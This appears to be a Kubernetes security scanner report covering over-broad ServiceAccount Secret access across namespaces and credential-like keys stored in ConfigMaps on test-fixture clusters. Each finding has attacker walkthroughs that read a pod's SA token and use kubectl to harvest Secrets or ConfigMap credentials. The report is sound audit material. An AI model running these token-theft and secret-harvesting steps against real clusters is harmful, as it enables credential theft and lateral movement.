Scope · Namespace ServiceAccount foothold-exec/foothold-reader mounted in foothold-exec: holds get/list/watch on secrets in kube-system via foothold-reader-secrets/foothold-reader-secrets. A pod-to-API-server compromise reads every Secret in the target namespace.
Category: Lateral Movement Subject: ServiceAccount/foothold-exec/foothold-reader Resource: ServiceAccount/foothold-exec/foothold-reader

ServiceAccount foothold-exec/foothold-reader is mounted by workload(s) Pod/foothold-target and has RBAC permission to get/list/watch Secrets in namespace kube-system, granted by foothold-reader-secrets (referencing foothold-reader-secrets). Namespace foothold-exec is the namespace the SA *lives in*; namespace kube-system is *different*. The grant therefore lets a compromised pod in foothold-exec enumerate or read every Secret in kube-system via the projected SA token, without leaving the namespace it runs in.

This pattern is the most common lateral-movement primitive in production K8s clusters because the namespace boundary is the platform's primary isolation surface. Network policies, PSA labels, ResourceQuotas, image-pull credentials, and audit groupings all key on namespace. An RBAC grant that punches through the boundary collapses that isolation for the secret-read axis: the attacker doesn't need a network path, doesn't need a pod-create, doesn't need to escape to the node, they just kubectl get secret -n <other-namespace> with the projected token.

Three patterns produce this finding in real clusters: (1) a shared ClusterRole (e.g. secret-reader) bound to a workload SA via a ClusterRoleBinding, granting it cluster-wide read; (2) a multi-tenant operator (Vault sync, External Secrets Operator, cert-manager) deliberately granted cross-namespace read but with a wider scope than the operator actually needs; (3) a copy-pasted Helm chart's ClusterRole that was meant to be a Role. Each is fixable by replacing the grant with namespace-scoped Roles, restricting resourceNames, or moving the consumer into the target namespace.

Impact Anyone who compromises a pod running as foothold-exec/foothold-reader can read every Secret in kube-system over the projected SA token, without needing a network egress, host escape, or RBAC modification. Lateral movement to the credentials of every workload in kube-system becomes a single kubectl get secret away.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker gains code execution inside a pod running as foothold-exec/foothold-reader (RCE on the application, dependency confusion, supply chain compromise of a base image, etc.).
  2. They read the projected SA token at /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. They run kubectl --token=$(cat ...) get secrets -n kube-system against the in-cluster API server. RBAC permits it because foothold-reader-secrets/foothold-reader-secrets was granted across the namespace boundary.
  4. They harvest every Secret in kube-system: TLS keys, OAuth client secrets, database passwords, registry pull credentials, ServiceAccount tokens, cloud provider IAM keys.
  5. They use the harvested credentials laterally: pivot to the cloud account, push a malicious image to the registry, authenticate as another workload's SA, sign their own short-lived tokens via TokenRequest, etc. The original foothold-exec/foothold-reader pod is now optional; the cluster's secrets are exfiltrated.
Remediation
Replace the cross-namespace grant with the narrowest possible scope: a Role in kube-system (not a ClusterRole), resourceNames for the specific Secrets the workload needs, or move the consumer into kube-system.
  1. Identify what the pod *actually* reads. kubectl logs and audit logs for objectRef.resource=secrets will show the specific Secret names. Most cross-namespace grants are over-broad: the workload only needs 1-2 Secrets, not the whole namespace.
  2. Replace the grant. Prefer (in order): (a) move the workload into kube-system so the grant becomes intra-namespace, (b) replace the ClusterRoleBinding with a RoleBinding in kube-system that points to a Role, (c) restrict the Role to resourceNames: [foo, bar] for the specific Secrets needed.
  3. For multi-tenant operators (External Secrets Operator, Vault sync, cert-manager), use the operator's per-namespace SecretStore / ClusterSecretStore selector mechanism instead of granting cluster-wide RBAC. The operator's docs document the right scoping.
  4. Audit the binding. kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]?.name == "foothold-reader" and .subjects[]?.namespace == "foothold-exec")' shows everything that grants this SA cross-namespace read.
  5. Wire enforcement: a Kyverno or Gatekeeper ClusterPolicy that warns/blocks any RoleBinding that points a non-system ClusterRole at a workload SA, or any ClusterRole that grants secrets:get without a resourceNames constraint.
Evidence
Verbsgetlist
Source rolefoothold-reader-secrets
Inspect: kubectl get clusterrole foothold-reader-secrets -o yaml
Source bindingfoothold-reader-secrets
Inspect: kubectl get clusterrolebinding foothold-reader-secrets -o yaml
Show raw JSON
{
  "source_binding": "foothold-reader-secrets",
  "source_role": "foothold-reader-secrets",
  "target_namespace": "kube-system",
  "verbs": [
    "get",
    "list"
  ]
}
MEDIUM ServiceAccount/foothold-fixtures/foothold-quiet Namespace 6.4
ServiceAccount foothold-fixtures/foothold-quiet can read Secrets in namespace kube-system (used by workloads in foothold-fixtures)
Scope · Namespace ServiceAccount foothold-fixtures/foothold-quiet mounted in foothold-fixtures: holds get/list/watch on secrets in kube-system via foothold-quiet-secrets/foothold-quiet-secrets. A pod-to-API-server compromise reads every Secret in the target namespace.
Category: Lateral Movement Subject: ServiceAccount/foothold-fixtures/foothold-quiet Resource: ServiceAccount/foothold-fixtures/foothold-quiet

ServiceAccount foothold-fixtures/foothold-quiet is mounted by workload(s) Pod/foothold-quiet-app-749c54956-6w7wr, Deployment/foothold-quiet-app and has RBAC permission to get/list/watch Secrets in namespace kube-system, granted by foothold-quiet-secrets (referencing foothold-quiet-secrets). Namespace foothold-fixtures is the namespace the SA *lives in*; namespace kube-system is *different*. The grant therefore lets a compromised pod in foothold-fixtures enumerate or read every Secret in kube-system via the projected SA token, without leaving the namespace it runs in.

This pattern is the most common lateral-movement primitive in production K8s clusters because the namespace boundary is the platform's primary isolation surface. Network policies, PSA labels, ResourceQuotas, image-pull credentials, and audit groupings all key on namespace. An RBAC grant that punches through the boundary collapses that isolation for the secret-read axis: the attacker doesn't need a network path, doesn't need a pod-create, doesn't need to escape to the node, they just kubectl get secret -n <other-namespace> with the projected token.

Three patterns produce this finding in real clusters: (1) a shared ClusterRole (e.g. secret-reader) bound to a workload SA via a ClusterRoleBinding, granting it cluster-wide read; (2) a multi-tenant operator (Vault sync, External Secrets Operator, cert-manager) deliberately granted cross-namespace read but with a wider scope than the operator actually needs; (3) a copy-pasted Helm chart's ClusterRole that was meant to be a Role. Each is fixable by replacing the grant with namespace-scoped Roles, restricting resourceNames, or moving the consumer into the target namespace.

Impact Anyone who compromises a pod running as foothold-fixtures/foothold-quiet can read every Secret in kube-system over the projected SA token, without needing a network egress, host escape, or RBAC modification. Lateral movement to the credentials of every workload in kube-system becomes a single kubectl get secret away.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker gains code execution inside a pod running as foothold-fixtures/foothold-quiet (RCE on the application, dependency confusion, supply chain compromise of a base image, etc.).
  2. They read the projected SA token at /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. They run kubectl --token=$(cat ...) get secrets -n kube-system against the in-cluster API server. RBAC permits it because foothold-quiet-secrets/foothold-quiet-secrets was granted across the namespace boundary.
  4. They harvest every Secret in kube-system: TLS keys, OAuth client secrets, database passwords, registry pull credentials, ServiceAccount tokens, cloud provider IAM keys.
  5. They use the harvested credentials laterally: pivot to the cloud account, push a malicious image to the registry, authenticate as another workload's SA, sign their own short-lived tokens via TokenRequest, etc. The original foothold-fixtures/foothold-quiet pod is now optional; the cluster's secrets are exfiltrated.
Remediation
Replace the cross-namespace grant with the narrowest possible scope: a Role in kube-system (not a ClusterRole), resourceNames for the specific Secrets the workload needs, or move the consumer into kube-system.
  1. Identify what the pod *actually* reads. kubectl logs and audit logs for objectRef.resource=secrets will show the specific Secret names. Most cross-namespace grants are over-broad: the workload only needs 1-2 Secrets, not the whole namespace.
  2. Replace the grant. Prefer (in order): (a) move the workload into kube-system so the grant becomes intra-namespace, (b) replace the ClusterRoleBinding with a RoleBinding in kube-system that points to a Role, (c) restrict the Role to resourceNames: [foo, bar] for the specific Secrets needed.
  3. For multi-tenant operators (External Secrets Operator, Vault sync, cert-manager), use the operator's per-namespace SecretStore / ClusterSecretStore selector mechanism instead of granting cluster-wide RBAC. The operator's docs document the right scoping.
  4. Audit the binding. kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]?.name == "foothold-quiet" and .subjects[]?.namespace == "foothold-fixtures")' shows everything that grants this SA cross-namespace read.
  5. Wire enforcement: a Kyverno or Gatekeeper ClusterPolicy that warns/blocks any RoleBinding that points a non-system ClusterRole at a workload SA, or any ClusterRole that grants secrets:get without a resourceNames constraint.
Evidence
Verbsgetlist
Source rolefoothold-quiet-secrets
Inspect: kubectl get clusterrole foothold-quiet-secrets -o yaml
Source bindingfoothold-quiet-secrets
Inspect: kubectl get clusterrolebinding foothold-quiet-secrets -o yaml
Show raw JSON
{
  "source_binding": "foothold-quiet-secrets",
  "source_role": "foothold-quiet-secrets",
  "target_namespace": "kube-system",
  "verbs": [
    "get",
    "list"
  ]
}
MEDIUM ServiceAccount/imgswap-fixtures/imgswap-reader Namespace 6.4
ServiceAccount imgswap-fixtures/imgswap-reader can read Secrets in namespace (cluster-wide) (used by workloads in imgswap-fixtures)
Scope · Namespace ServiceAccount imgswap-fixtures/imgswap-reader mounted in imgswap-fixtures: holds get/list/watch on secrets in (cluster-wide) via crb-imgswap-secret-reader/cr-imgswap-secret-reader. A pod-to-API-server compromise reads every Secret in the target namespace.
Category: Lateral Movement Subject: ServiceAccount/imgswap-fixtures/imgswap-reader Resource: ServiceAccount/imgswap-fixtures/imgswap-reader

ServiceAccount imgswap-fixtures/imgswap-reader is mounted by workload(s) Pod/imgswap-reader-app-b5544c498-vrnqg, Deployment/imgswap-reader-app and has RBAC permission to get/list/watch Secrets in namespace (cluster-wide), granted by crb-imgswap-secret-reader (referencing cr-imgswap-secret-reader). Namespace imgswap-fixtures is the namespace the SA *lives in*; namespace (cluster-wide) is *different*. The grant therefore lets a compromised pod in imgswap-fixtures enumerate or read every Secret in (cluster-wide) via the projected SA token, without leaving the namespace it runs in.

This pattern is the most common lateral-movement primitive in production K8s clusters because the namespace boundary is the platform's primary isolation surface. Network policies, PSA labels, ResourceQuotas, image-pull credentials, and audit groupings all key on namespace. An RBAC grant that punches through the boundary collapses that isolation for the secret-read axis: the attacker doesn't need a network path, doesn't need a pod-create, doesn't need to escape to the node, they just kubectl get secret -n <other-namespace> with the projected token.

Three patterns produce this finding in real clusters: (1) a shared ClusterRole (e.g. secret-reader) bound to a workload SA via a ClusterRoleBinding, granting it cluster-wide read; (2) a multi-tenant operator (Vault sync, External Secrets Operator, cert-manager) deliberately granted cross-namespace read but with a wider scope than the operator actually needs; (3) a copy-pasted Helm chart's ClusterRole that was meant to be a Role. Each is fixable by replacing the grant with namespace-scoped Roles, restricting resourceNames, or moving the consumer into the target namespace.

Impact Anyone who compromises a pod running as imgswap-fixtures/imgswap-reader can read every Secret in (cluster-wide) over the projected SA token, without needing a network egress, host escape, or RBAC modification. Lateral movement to the credentials of every workload in (cluster-wide) becomes a single kubectl get secret away.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker gains code execution inside a pod running as imgswap-fixtures/imgswap-reader (RCE on the application, dependency confusion, supply chain compromise of a base image, etc.).
  2. They read the projected SA token at /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. They run kubectl --token=$(cat ...) get secrets -n (cluster-wide) against the in-cluster API server. RBAC permits it because crb-imgswap-secret-reader/cr-imgswap-secret-reader was granted across the namespace boundary.
  4. They harvest every Secret in (cluster-wide): TLS keys, OAuth client secrets, database passwords, registry pull credentials, ServiceAccount tokens, cloud provider IAM keys.
  5. They use the harvested credentials laterally: pivot to the cloud account, push a malicious image to the registry, authenticate as another workload's SA, sign their own short-lived tokens via TokenRequest, etc. The original imgswap-fixtures/imgswap-reader pod is now optional; the cluster's secrets are exfiltrated.
Remediation
Replace the cross-namespace grant with the narrowest possible scope: a Role in (cluster-wide) (not a ClusterRole), resourceNames for the specific Secrets the workload needs, or move the consumer into (cluster-wide).
  1. Identify what the pod *actually* reads. kubectl logs and audit logs for objectRef.resource=secrets will show the specific Secret names. Most cross-namespace grants are over-broad: the workload only needs 1-2 Secrets, not the whole namespace.
  2. Replace the grant. Prefer (in order): (a) move the workload into (cluster-wide) so the grant becomes intra-namespace, (b) replace the ClusterRoleBinding with a RoleBinding in (cluster-wide) that points to a Role, (c) restrict the Role to resourceNames: [foo, bar] for the specific Secrets needed.
  3. For multi-tenant operators (External Secrets Operator, Vault sync, cert-manager), use the operator's per-namespace SecretStore / ClusterSecretStore selector mechanism instead of granting cluster-wide RBAC. The operator's docs document the right scoping.
  4. Audit the binding. kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]?.name == "imgswap-reader" and .subjects[]?.namespace == "imgswap-fixtures")' shows everything that grants this SA cross-namespace read.
  5. Wire enforcement: a Kyverno or Gatekeeper ClusterPolicy that warns/blocks any RoleBinding that points a non-system ClusterRole at a workload SA, or any ClusterRole that grants secrets:get without a resourceNames constraint.
Evidence
Verbsgetlist
Source rolecr-imgswap-secret-reader
Inspect: kubectl get clusterrole cr-imgswap-secret-reader -o yaml
Source bindingcrb-imgswap-secret-reader
Inspect: kubectl get clusterrolebinding crb-imgswap-secret-reader -o yaml
Show raw JSON
{
  "source_binding": "crb-imgswap-secret-reader",
  "source_role": "cr-imgswap-secret-reader",
  "target_namespace": "",
  "verbs": [
    "get",
    "list"
  ]
}
MEDIUM ServiceAccount/rbac-fixtures/sa-wildcard Namespace 6.4
ServiceAccount rbac-fixtures/sa-wildcard can read Secrets in namespace (cluster-wide) (used by workloads in rbac-fixtures)
Scope · Namespace ServiceAccount rbac-fixtures/sa-wildcard mounted in rbac-fixtures: holds get/list/watch on secrets in (cluster-wide) via crb-wildcard/cr-wildcard. A pod-to-API-server compromise reads every Secret in the target namespace.
Category: Lateral Movement Subject: ServiceAccount/rbac-fixtures/sa-wildcard Resource: ServiceAccount/rbac-fixtures/sa-wildcard

ServiceAccount rbac-fixtures/sa-wildcard is mounted by workload(s) Pod/wildcard-app-85ff74597d-dlhmw, Deployment/wildcard-app and has RBAC permission to get/list/watch Secrets in namespace (cluster-wide), granted by crb-wildcard (referencing cr-wildcard). Namespace rbac-fixtures is the namespace the SA *lives in*; namespace (cluster-wide) is *different*. The grant therefore lets a compromised pod in rbac-fixtures enumerate or read every Secret in (cluster-wide) via the projected SA token, without leaving the namespace it runs in.

This pattern is the most common lateral-movement primitive in production K8s clusters because the namespace boundary is the platform's primary isolation surface. Network policies, PSA labels, ResourceQuotas, image-pull credentials, and audit groupings all key on namespace. An RBAC grant that punches through the boundary collapses that isolation for the secret-read axis: the attacker doesn't need a network path, doesn't need a pod-create, doesn't need to escape to the node, they just kubectl get secret -n <other-namespace> with the projected token.

Three patterns produce this finding in real clusters: (1) a shared ClusterRole (e.g. secret-reader) bound to a workload SA via a ClusterRoleBinding, granting it cluster-wide read; (2) a multi-tenant operator (Vault sync, External Secrets Operator, cert-manager) deliberately granted cross-namespace read but with a wider scope than the operator actually needs; (3) a copy-pasted Helm chart's ClusterRole that was meant to be a Role. Each is fixable by replacing the grant with namespace-scoped Roles, restricting resourceNames, or moving the consumer into the target namespace.

Impact Anyone who compromises a pod running as rbac-fixtures/sa-wildcard can read every Secret in (cluster-wide) over the projected SA token, without needing a network egress, host escape, or RBAC modification. Lateral movement to the credentials of every workload in (cluster-wide) becomes a single kubectl get secret away.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker gains code execution inside a pod running as rbac-fixtures/sa-wildcard (RCE on the application, dependency confusion, supply chain compromise of a base image, etc.).
  2. They read the projected SA token at /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. They run kubectl --token=$(cat ...) get secrets -n (cluster-wide) against the in-cluster API server. RBAC permits it because crb-wildcard/cr-wildcard was granted across the namespace boundary.
  4. They harvest every Secret in (cluster-wide): TLS keys, OAuth client secrets, database passwords, registry pull credentials, ServiceAccount tokens, cloud provider IAM keys.
  5. They use the harvested credentials laterally: pivot to the cloud account, push a malicious image to the registry, authenticate as another workload's SA, sign their own short-lived tokens via TokenRequest, etc. The original rbac-fixtures/sa-wildcard pod is now optional; the cluster's secrets are exfiltrated.
Remediation
Replace the cross-namespace grant with the narrowest possible scope: a Role in (cluster-wide) (not a ClusterRole), resourceNames for the specific Secrets the workload needs, or move the consumer into (cluster-wide).
  1. Identify what the pod *actually* reads. kubectl logs and audit logs for objectRef.resource=secrets will show the specific Secret names. Most cross-namespace grants are over-broad: the workload only needs 1-2 Secrets, not the whole namespace.
  2. Replace the grant. Prefer (in order): (a) move the workload into (cluster-wide) so the grant becomes intra-namespace, (b) replace the ClusterRoleBinding with a RoleBinding in (cluster-wide) that points to a Role, (c) restrict the Role to resourceNames: [foo, bar] for the specific Secrets needed.
  3. For multi-tenant operators (External Secrets Operator, Vault sync, cert-manager), use the operator's per-namespace SecretStore / ClusterSecretStore selector mechanism instead of granting cluster-wide RBAC. The operator's docs document the right scoping.
  4. Audit the binding. kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]?.name == "sa-wildcard" and .subjects[]?.namespace == "rbac-fixtures")' shows everything that grants this SA cross-namespace read.
  5. Wire enforcement: a Kyverno or Gatekeeper ClusterPolicy that warns/blocks any RoleBinding that points a non-system ClusterRole at a workload SA, or any ClusterRole that grants secrets:get without a resourceNames constraint.
Evidence
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecr-wildcard
Inspect: kubectl get clusterrole cr-wildcard -o yaml
Source bindingcrb-wildcard
Inspect: kubectl get clusterrolebinding crb-wildcard -o yaml
Show raw JSON
{
  "source_binding": "crb-wildcard",
  "source_role": "cr-wildcard",
  "target_namespace": "",
  "verbs": [
    "*"
  ]
}
MEDIUM ServiceAccount/secrets-bundle/cross-ns-reader Namespace 6.4
ServiceAccount secrets-bundle/cross-ns-reader can read Secrets in namespace secrets-bundle-target (used by workloads in secrets-bundle)
Scope · Namespace ServiceAccount secrets-bundle/cross-ns-reader mounted in secrets-bundle: holds get/list/watch on secrets in secrets-bundle-target via cross-ns-secrets-read/secrets-reader. A pod-to-API-server compromise reads every Secret in the target namespace.
Category: Lateral Movement Subject: ServiceAccount/secrets-bundle/cross-ns-reader Resource: ServiceAccount/secrets-bundle/cross-ns-reader

ServiceAccount secrets-bundle/cross-ns-reader is mounted by workload(s) Pod/cross-ns-consumer-6c945c9c9d-blz86, Deployment/cross-ns-consumer and has RBAC permission to get/list/watch Secrets in namespace secrets-bundle-target, granted by cross-ns-secrets-read (referencing secrets-reader). Namespace secrets-bundle is the namespace the SA *lives in*; namespace secrets-bundle-target is *different*. The grant therefore lets a compromised pod in secrets-bundle enumerate or read every Secret in secrets-bundle-target via the projected SA token, without leaving the namespace it runs in.

This pattern is the most common lateral-movement primitive in production K8s clusters because the namespace boundary is the platform's primary isolation surface. Network policies, PSA labels, ResourceQuotas, image-pull credentials, and audit groupings all key on namespace. An RBAC grant that punches through the boundary collapses that isolation for the secret-read axis: the attacker doesn't need a network path, doesn't need a pod-create, doesn't need to escape to the node, they just kubectl get secret -n <other-namespace> with the projected token.

Three patterns produce this finding in real clusters: (1) a shared ClusterRole (e.g. secret-reader) bound to a workload SA via a ClusterRoleBinding, granting it cluster-wide read; (2) a multi-tenant operator (Vault sync, External Secrets Operator, cert-manager) deliberately granted cross-namespace read but with a wider scope than the operator actually needs; (3) a copy-pasted Helm chart's ClusterRole that was meant to be a Role. Each is fixable by replacing the grant with namespace-scoped Roles, restricting resourceNames, or moving the consumer into the target namespace.

Impact Anyone who compromises a pod running as secrets-bundle/cross-ns-reader can read every Secret in secrets-bundle-target over the projected SA token, without needing a network egress, host escape, or RBAC modification. Lateral movement to the credentials of every workload in secrets-bundle-target becomes a single kubectl get secret away.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker gains code execution inside a pod running as secrets-bundle/cross-ns-reader (RCE on the application, dependency confusion, supply chain compromise of a base image, etc.).
  2. They read the projected SA token at /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. They run kubectl --token=$(cat ...) get secrets -n secrets-bundle-target against the in-cluster API server. RBAC permits it because cross-ns-secrets-read/secrets-reader was granted across the namespace boundary.
  4. They harvest every Secret in secrets-bundle-target: TLS keys, OAuth client secrets, database passwords, registry pull credentials, ServiceAccount tokens, cloud provider IAM keys.
  5. They use the harvested credentials laterally: pivot to the cloud account, push a malicious image to the registry, authenticate as another workload's SA, sign their own short-lived tokens via TokenRequest, etc. The original secrets-bundle/cross-ns-reader pod is now optional; the cluster's secrets are exfiltrated.
Remediation
Replace the cross-namespace grant with the narrowest possible scope: a Role in secrets-bundle-target (not a ClusterRole), resourceNames for the specific Secrets the workload needs, or move the consumer into secrets-bundle-target.
  1. Identify what the pod *actually* reads. kubectl logs and audit logs for objectRef.resource=secrets will show the specific Secret names. Most cross-namespace grants are over-broad: the workload only needs 1-2 Secrets, not the whole namespace.
  2. Replace the grant. Prefer (in order): (a) move the workload into secrets-bundle-target so the grant becomes intra-namespace, (b) replace the ClusterRoleBinding with a RoleBinding in secrets-bundle-target that points to a Role, (c) restrict the Role to resourceNames: [foo, bar] for the specific Secrets needed.
  3. For multi-tenant operators (External Secrets Operator, Vault sync, cert-manager), use the operator's per-namespace SecretStore / ClusterSecretStore selector mechanism instead of granting cluster-wide RBAC. The operator's docs document the right scoping.
  4. Audit the binding. kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]?.name == "cross-ns-reader" and .subjects[]?.namespace == "secrets-bundle")' shows everything that grants this SA cross-namespace read.
  5. Wire enforcement: a Kyverno or Gatekeeper ClusterPolicy that warns/blocks any RoleBinding that points a non-system ClusterRole at a workload SA, or any ClusterRole that grants secrets:get without a resourceNames constraint.
Evidence
Verbsgetlist
Source rolesecrets-reader
Inspect: kubectl get clusterrole secrets-reader -o yaml
Source bindingcross-ns-secrets-read
Inspect: kubectl get clusterrolebinding cross-ns-secrets-read -o yaml
Show raw JSON
{
  "source_binding": "cross-ns-secrets-read",
  "source_role": "secrets-reader",
  "target_namespace": "secrets-bundle-target",
  "verbs": [
    "get",
    "list"
  ]
}
MEDIUM

ConfigMap secrets-bundle/app-credentials exposes credential-shaped keys (aws_secret_access_key, database_dsn, db_password, jwt_token, oauth_client_secret) in plaintext

KUBE-CONFIGMAP-001 2 subjects Score 6.3

Affected subjects (2)

MEDIUM ConfigMap/secrets-bundle/app-credentials Object 6.3
ConfigMap secrets-bundle/app-credentials exposes credential-shaped keys (aws_secret_access_key, database_dsn, db_password, jwt_token, oauth_client_secret) in plaintext
Scope · Object ConfigMap secrets-bundle/app-credentials: readable by every subject with get configmaps in secrets-bundle, ships unencrypted in etcd, surfaces in kubectl describe and audit logs
Category: Data Exfiltration Resource: ConfigMap/secrets-bundle/app-credentials Namespace: secrets-bundle

ConfigMap secrets-bundle/app-credentials contains keys with names matching credential-like patterns: aws_secret_access_key, database_dsn, db_password, jwt_token, oauth_client_secret. The Kubernetes API treats ConfigMaps as non-sensitive: etcd stores them unencrypted by default (encryption-at-rest is opt-in and almost always limited to Secrets), kubectl describe configmap prints values inline, audit logs include the data on get/list, and RBAC defaults give workload service accounts much wider read on ConfigMaps than on Secrets.

Storing a credential in a ConfigMap therefore violates the basic Kubernetes data-classification model in three ways simultaneously: (1) it appears in plaintext to anyone with get configmaps (a much larger set of subjects than get secrets); (2) it ends up in cluster backups, etcd dumps, and platform observability tooling that explicitly excludes Secrets; (3) it does not benefit from any of the surface area Kubernetes builds around Secrets (envelope encryption, file-mode 0600 projection, KMS provider, External Secrets Operator).

The matched keys are heuristic, since key matches both apiKey and public_key, so review is required before assuming compromise. In practice the pattern is strong: in production clusters this finding correlates with real leaks the majority of the time. Treat as exposed-until-proven-otherwise.

Impact If any of the flagged keys (aws_secret_access_key, database_dsn, db_password, jwt_token, oauth_client_secret) actually hold a credential, that credential is exposed to a wide audience: every workload SA in secrets-bundle, every backup operator, every audit log consumer, and possibly cluster-mirroring tooling.
How an attacker abuses this
Background
ResourceConfigMap

A ConfigMap stores plain-text configuration that pods read at startup. They are not meant to hold secrets, but in practice teams put database URLs (with passwords), API keys, and tokens in ConfigMaps. Kubesplaining flags credential-shaped keys for that reason.

  1. Attacker compromises a workload in secrets-bundle whose ServiceAccount has get configmaps (the typical default view role grants it).
  2. They kubectl get cm app-credentials -n secrets-bundle -o yaml and read the matched keys directly. No decoding needed since ConfigMap data is plaintext.
  3. They identify the credential class (DB connection string, API key, OAuth client_secret, signing key) from the key name and value shape.
  4. They use the credential immediately: DB connection strings often grant the same write permission the application has; API keys often have no IP restriction; client_secrets unlock the upstream identity provider.
  5. Because audit-log review on ConfigMaps is rare, the read goes unnoticed until the upstream credential is rotated for unrelated reasons.
Remediation
Move the credential out of secrets-bundle/app-credentials into a Kubernetes Secret (or, better, an external secret store) and remove the keys from the ConfigMap.
  1. Inspect each matched key (aws_secret_access_key, database_dsn, db_password, jwt_token, oauth_client_secret) to confirm whether it is a real credential. Some keys like cache_key_prefix are false positives.
  2. For real credentials, create a Secret in secrets-bundle and update consumers (envFrom or volume mounts) to read from the Secret.
  3. Rotate the credential at its source: if it was already in plaintext in a ConfigMap, treat it as compromised (assume any subject with view-on-configmaps had access).
  4. Remove the credential keys from secrets-bundle/app-credentials. Verify the consumer still works (kubectl rollout status).
  5. Wire prevention: a Kyverno cluster policy that warns on ConfigMap.data keys matching password|secret|token|credential|api_?key|access_?key|client_secret|connection_string|dsn. Pair with External Secrets Operator so the right path of least resistance is to use a real secret store.
Evidence
Matched keysaws_secret_access_keydatabase_dsndb_passwordjwt_tokenoauth_client_secret
Show raw JSON
{
  "matched_keys": [
    "aws_secret_access_key",
    "database_dsn",
    "db_password",
    "jwt_token",
    "oauth_client_secret"
  ]
}
MEDIUM ConfigMap/vulnerable/app-config Object 6.3
ConfigMap vulnerable/app-config exposes credential-shaped keys (api_token, db_password) in plaintext
Scope · Object ConfigMap vulnerable/app-config: readable by every subject with get configmaps in vulnerable, ships unencrypted in etcd, surfaces in kubectl describe and audit logs
Category: Data Exfiltration Resource: ConfigMap/vulnerable/app-config Namespace: vulnerable

ConfigMap vulnerable/app-config contains keys with names matching credential-like patterns: api_token, db_password. The Kubernetes API treats ConfigMaps as non-sensitive: etcd stores them unencrypted by default (encryption-at-rest is opt-in and almost always limited to Secrets), kubectl describe configmap prints values inline, audit logs include the data on get/list, and RBAC defaults give workload service accounts much wider read on ConfigMaps than on Secrets.

Storing a credential in a ConfigMap therefore violates the basic Kubernetes data-classification model in three ways simultaneously: (1) it appears in plaintext to anyone with get configmaps (a much larger set of subjects than get secrets); (2) it ends up in cluster backups, etcd dumps, and platform observability tooling that explicitly excludes Secrets; (3) it does not benefit from any of the surface area Kubernetes builds around Secrets (envelope encryption, file-mode 0600 projection, KMS provider, External Secrets Operator).

The matched keys are heuristic, since key matches both apiKey and public_key, so review is required before assuming compromise. In practice the pattern is strong: in production clusters this finding correlates with real leaks the majority of the time. Treat as exposed-until-proven-otherwise.

Impact If any of the flagged keys (api_token, db_password) actually hold a credential, that credential is exposed to a wide audience: every workload SA in vulnerable, every backup operator, every audit log consumer, and possibly cluster-mirroring tooling.
How an attacker abuses this
Background
ResourceConfigMap

A ConfigMap stores plain-text configuration that pods read at startup. They are not meant to hold secrets, but in practice teams put database URLs (with passwords), API keys, and tokens in ConfigMaps. Kubesplaining flags credential-shaped keys for that reason.

  1. Attacker compromises a workload in vulnerable whose ServiceAccount has get configmaps (the typical default view role grants it).
  2. They kubectl get cm app-config -n vulnerable -o yaml and read the matched keys directly. No decoding needed since ConfigMap data is plaintext.
  3. They identify the credential class (DB connection string, API key, OAuth client_secret, signing key) from the key name and value shape.
  4. They use the credential immediately: DB connection strings often grant the same write permission the application has; API keys often have no IP restriction; client_secrets unlock the upstream identity provider.
  5. Because audit-log review on ConfigMaps is rare, the read goes unnoticed until the upstream credential is rotated for unrelated reasons.
Remediation
Move the credential out of vulnerable/app-config into a Kubernetes Secret (or, better, an external secret store) and remove the keys from the ConfigMap.
  1. Inspect each matched key (api_token, db_password) to confirm whether it is a real credential. Some keys like cache_key_prefix are false positives.
  2. For real credentials, create a Secret in vulnerable and update consumers (envFrom or volume mounts) to read from the Secret.
  3. Rotate the credential at its source: if it was already in plaintext in a ConfigMap, treat it as compromised (assume any subject with view-on-configmaps had access).
